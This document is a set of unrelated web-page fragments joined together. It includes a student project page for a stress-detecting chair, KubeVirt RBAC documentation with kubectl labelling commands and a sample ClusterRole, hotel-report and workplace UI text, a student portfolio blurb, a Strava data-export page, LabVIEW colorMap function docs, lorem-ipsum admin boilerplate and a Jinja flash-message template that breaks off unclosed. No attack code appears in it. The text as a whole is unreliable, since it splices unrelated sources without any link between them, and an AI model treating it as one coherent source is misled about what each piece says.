The purpose of this form is to allow final year students of the B.Sc. (Hon) degree program to enlist in the final year project group. This form should indicate a brief description of the project. It should however indicate the scope of the project and provide the main potential outcome.
Download Project CharterProporsal Document
The proposal document of the product iChair highlights the problem that is addressed by the product and the proposed solution. The document contains the details of the survey conducted and the details of the study that was done.
Download Proporsal DocumentSRS/DD/PPR Document
These set of documents outlines the details of the stress analysis of the occupant of a chair with the use of the posture and the heart rate variability and the methodology of ssuggetsing stress relief mechanisms to ease stress. This document will illustrate the purpose and complete declaration of development of the system to give an in-depth insight of the component.
Download Group PPR Download IT16059214 Individual PPR Download IT16041080 Individual PPR Download IT16102842 Individual SRS Download IT16105812 Individual DDFinal Document
This section includes the final Documentations. These set of documents explains the methodlogy and the test results of the solution implemented.
Group Document Download Download IT16059214 Individual Document Download IT16041080 Individual Document Download IT16102842 Individual Document Download IT16105812 Individual Document


Docs
Authorization
KubeVirt authorization is performed using Kubernete’s Resource Based Authorization Control system (RBAC). RBAC allows cluster admins to grant access to cluster resources by binding RBAC roles to users.
For example, an admin creates an RBAC role that represents the permissions required to create a VirtualMachineInstance. The admin can then bind that role to users in order to grant them the permissions required to launch a VirtualMachineInstance.
With RBAC roles, admins can grant users targeted access to various KubeVirt features.
KubeVirt Default RBAC ClusterRoles
KubeVirt comes with a set of predefined RBAC ClusterRoles that can be used to grant users permissions to access KubeVirt Resources.
Default View Role
The kubevirt.io:view ClusterRole gives users permissions to view all KubeVirt resources in the cluster. The permissions to create, delete, modify or access any KubeVirt resources beyond viewing the resource’s spec are not included in this role. This means a user with this role could see that a VirtualMachineInstance is running, but neither shutdown nor gain access to that VirtualMachineInstance via console/VNC.
Default Edit Role
The kubevirt.io:edit ClusterRole gives users permissions to modify all KubeVirt resources in the cluster. For example, a user with this role can create new VirtualMachineInstances, delete VirtualMachineInstances, and gain access to both console and VNC.
Default Admin Role
The kubevirt.io:admin ClusterRole grants users full permissions to all KubeVirt resources, including the ability to delete collections of resources.
The admin role also grants users access to view and modify the KubeVirt runtime config. This config exists within a configmap called kubevirt-config in the namespace the KubeVirt components are running.
NOTE Users are only guaranteed the ability to modify the kubevirt runtime configuration if a ClusterRoleBinding is used. A RoleBinding will work to provide kubevirt-config access only if the RoleBinding targets the same namespace the kubevirt-config exists in.
Binding Default ClusterRoles to Users
The KubeVirt default ClusterRoles are granted to users by creating either a ClusterRoleBinding or RoleBinding object.
Binding within All Namespaces
With a ClusterRoleBinding, users receive the permissions granted by the role across all namespaces.
Binding within Single Namespace
With a RoleBinding, users receive the permissions granted by the role only within a targeted namespace.
Extending Kubernetes Default Roles with KubeVirt permissions
The aggregated ClusterRole Kubernetes feature facilitates combining multiple ClusterRoles into a single aggregated ClusterRole. This feature is commonly used to extend the default Kubernetes roles with permissions to access custom resources that do not exist in the Kubernetes core.
In order to extend the default Kubernetes roles to provide permission to access KubeVirt resources, we need to add the following labels to the KubeVirt ClusterRoles.
kubectl label clusterrole kubevirt.io:admin rbac.authorization.k8s.io/aggregate-to-admin=true
kubectl label clusterrole kubevirt.io:edit rbac.authorization.k8s.io/aggregate-to-edit=true
kubectl label clusterrole kubevirt.io:view rbac.authorization.k8s.io/aggregate-to-view=true
By adding these labels, any user with a RoleBinding or ClusterRoleBinding involving one of the default Kubernetes roles will automatically gain access to the equivalent KubeVirt roles as well.
More information about aggregated cluster roles can be found here
Creating Custom RBAC Roles
If the default KubeVirt ClusterRoles are not expressive enough, admins can create their own custom RBAC roles to grant user access to KubeVirt resources. The creation of a RBAC role is inclusive only, meaning there’s no way to deny access. Instead access is only granted.
Below is an example of what KubeVirt’s default admin ClusterRole looks like. A custom RBAC role can be created by reducing the permissions in this example role.
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: my-custom-rbac-role
labels:
kubevirt.io: ""
rules:
- apiGroups:
- subresources.kubevirt.io
resources:
- virtualmachineinstances/console
- virtualmachineinstances/vnc
verbs:
- get
- apiGroups:
- kubevirt.io
resources:
- virtualmachineinstances
- virtualmachines
- virtualmachineinstancepresets
- virtualmachineinstancereplicasets
verbs:
- get
- delete
- create
- update
- patch
- list
- watch
- deletecollection
- apiGroups: [""]
resources:
- configmaps
resourceNames:
- kubevirt-config
verbs:
- update
- get
- patch


Ophelia's Oasis
Manage Bookings
Billings
Reports
Occupancy Report
Expected Occupancy Report
Expected Room Income
Incentive Report
Base Rates
Incentive Discount Report
Total Discount :
Average Discount :
Date
Incentive Discount
Print Report
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Select "Logout" below if you are ready to end your current session.


You need to add a unique reference for each workplace. For example, myworkplace1, myworkplace2.
Workplace
Reference
There are no workplaces editable


I am a final year student at NSIT. I am a machine learning enthusiast and love to solve algorithmic questions.
I have done a number of projects in Deep Learning and also a few courses on Coursera under the Deep Learning specialisation.
I love to solve algorithmic problems and taking part in coding competitions.
Contact me in case you have interesting opportunities in Software Engineering or Quant roles.
CONTACT ME


| Strava | Delete | |
|---|---|---|
You can export or import your data through the field below. To export, press the export button and save the contents of the text field in a file of your choice. To import, copy paste the data from an export into the text field and press the import button.


This functional global variable stores the color map values so other LSS functions can make sure of those values without needing to pass in the color map values with each LSS string.
|
colorMap This string is an LSS formatted string that allows the mapping of hexidecimal color constants to string names that are easier to remember. Once a color is defined in the colorMap, any subsequent LSS call can simply use the name of the color instead of the hexidecimal representation. This input is only used when the mode input is set to "Write" or "Add". The format for this string is as follows: colorMap{ myColorName:#000000; } |
|
Mode Select between the following options: 1. Write - Saves the colorMap input string for use by later LSS functions. Will overwrite any previously saved colormap values. 2. Add - Adds the new colorMap LSS string to the existing string. 3. Read - Reads all currently saved color map values.
|
|
Error In error in can accept error information wired from VIs previously called. Use this information to decide if any functionality should be bypassed in the event of errors from other VIs. Right-click the error in control on the front panel and select Explain Error or Explain Warning from the shortcut menu for more information about the error. |
|
colorMap Contains the data from the colorMap input string as a parsed array that is used by LSS functions for changing style of the UI. |
|
Array of color map name value pairs. |
|
color-name Name of the color as a string |
|
hex-value Value of the color in hex |
|
colorMap String Outputs the text of the items saved in the color map as a string. |
|
Error out Returns errors from this VI if any occured. |


Dreamguy's Technologies
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Mike Litorus 3 Mar Lorem ipsum dolor sit amet, consectetur adipiscing
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Catherine Manseau 27 Feb Lorem ipsum dolor sit amet, consectetur adipiscing
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- Admin


{% with messages = get_flashed_messages(with_categories=True) %}
{% if messages %}
{% for category, message in messages %}
{% if message == "confirmed" %}
Project Uploaded!
Thank you for your contribution!
{% elif message == "expired" %}
Expired
Your confirmation token expired. If you haven't confirmed the project already, you need to submit the project data again.
{% elif message == "fail" %}
Failed
Wrong Confirmation Token.
{% elif message == "already" %}
Project Already Confirmed
Thank you for your contribution!
{% elif category == "sended" %}
Awaiting Confirmation
Thank you for your contribution! A confirmation email has been sent to the address: {{message}}
You have 24 hours to confirm your project data.